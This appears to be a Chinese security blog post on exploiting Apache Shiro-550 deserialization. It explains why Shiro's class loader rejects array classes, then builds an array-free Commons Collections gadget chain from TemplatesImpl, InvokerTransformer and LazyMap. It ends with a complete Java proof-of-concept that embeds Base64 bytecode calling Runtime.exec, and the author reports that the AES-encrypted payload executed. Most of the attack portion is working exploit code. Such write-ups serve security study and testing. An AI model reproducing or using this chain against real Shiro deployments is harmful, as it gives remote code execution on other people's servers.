• [Java反序列化]—Shiro反序列化(二)


    前言

    前篇通过urldns链来检测了shiro550反序列化的存在,本篇就通过CC链来进行shiro的代码执行

    分析

    shiro中默认是没有CC依赖的,所以需要我们自行加上

    在这里插入图片描述

    数组问题

    直接用CC6的链来打,提示类加载不到[L是一个JVM的标记,说明实际上这是一个数组,也就是说不能加载这个Transformer[]

    在这里插入图片描述

    简单看下原因

    在shiro自定义的deserialize中,调用的是ois.readObject,而ois是ClassResolvingObjectInputStream的实例化

    在这里插入图片描述

    跟进下ClassResolvingObjectInputStream,其中只有一个构造方法和resolveClass(),这个resolveClass()是在java原生反序列化时会调用的一个方法,这里对他进行了重写,retrun返回的是ClassUtils.forName(osc.getName());

    在这里插入图片描述

    再看下原生类的

    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    他return的则是Class.forName,所以区别也就在这里shiro中重写的resolveClass()调用的是自己写的一个工具类ClassUtils中的forName方法,所以不能加载数组类。(牵扯到tomcat开发的一些问题,所以没有深入了解简单理解一下就好)

    Gadget构造

    所以现在的问题就是如果绕过数组问题,这里可以想办法利用TemplatesImpl的动态加载字节码来防止数组出现

    可以直接将CC3的前半部分拿出来

            Templates templates = new TemplatesImpl();
            byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
            setFieldValue(templates,"_name","Sentiment");
            setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
    
    • 1
    • 2
    • 3
    • 4

    而CC3之后会有一个数组部分,即:

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    };
    
    • 1
    • 2
    • 3
    • 4

    但这里边其实只有两个数组,所以只需要想办法去掉一个那就完全用不到数组了,而这里ConstantTransformer是可以去掉的。

    看下原因,整个链子调用到了LazyMapget()方法的时候:

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    接下来本来是应该让调用了那个Chainedtransformer的transform,然后依次调用数组中的transformer。但是关键是,factory.transform(key)是把key给传了进去。也就是说,其实这个传入的key完全可以代替一个ConstantTransformer。这样一简化Transformer[]里面只有一个了,就干脆直接用了,不需要用chain了。

    所以这里可以用CC6的后半部分,将TiedMapEntrykey值设为TemplatesImpl,就可以成功赋值了

    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
    Map hashMap = new HashMap();
    hashMap.put(tiedMapEntry,"Sentiemnt2");
    
    outerMap.remove(templates);
    
    Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
    Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(outerMap,invokerTransformer);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    我们最终的目的是调用TemplatesImpl的newTransformer,动态加载类进而执行代码,所以在通过CC2中的InvokerTransformer传入即可

    InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
    
    • 1

    这样以来就能调用TemplatesImpl.newTransformer

    在这里插入图片描述

    最终POC

    package shiro;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class shiroCC {
        public static void main(String[] args) throws Exception {
            //CC3
            Templates templates = new TemplatesImpl();
            byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
            setFieldValue(templates,"_name","Sentiment");
            setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
    
            //CC2
            InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
    
            //CC6
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
            TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
            Map hashMap = new HashMap();
            hashMap.put(tiedMapEntry,"Sentiemnt2");
    
            outerMap.remove(templates);
    
            Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
            Field factoryField = lazyMapClass.getDeclaredField("factory");
            factoryField.setAccessible(true);
            factoryField.set(outerMap,invokerTransformer);
    
    
            serialize(hashMap);
            //unserialize("1.txt");
    
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj,value);
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
            out.writeObject(obj);
        }
    
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
            Object o = In.readObject();
            return o;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    序列化文件进行aes加密后,传参成功执行

    在这里插入图片描述

  • 相关阅读:
    电商平台亚马逊国际站点获得AMAZON商品详情API接口、卖家信息、销量、价格、商品规格信息列表参数详情示例分享案例
    php框架thinkPHP6的安装教程
    低成本、强交互、沉浸式的云游戏,究竟如何实现?
    数学建模:BP神经网络(含python实现)
    第3章-指标体系与数据可视化-3.2-描述性统计分析与绘图
    文件防泄密系统如何保障企业文档的安全性?
    Python爬虫入门基础学习(四)
    Netty源码剖析之NIOEventLoopGroup创建流程
    Java基于SpringBoot的闲一品交易平台
    998. Maximum Binary Tree II
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/125495197